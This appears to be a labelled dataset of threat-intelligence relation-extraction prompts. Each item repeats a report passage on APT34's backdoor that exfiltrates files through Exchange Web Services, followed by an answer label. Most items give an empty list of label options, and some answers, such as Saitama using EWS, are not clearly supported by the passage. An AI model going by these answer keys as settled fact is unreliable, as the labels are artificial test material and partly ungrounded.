The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Lebanon
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Egypt
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Saitama
### Target Entity: Microsoft Exchange
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Karkoff
### Target Entity: EWS
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Saitama
### Target Entity: EWS
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Saitama
### Target Entity: .Net
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: United Arab Emirates
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: China
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
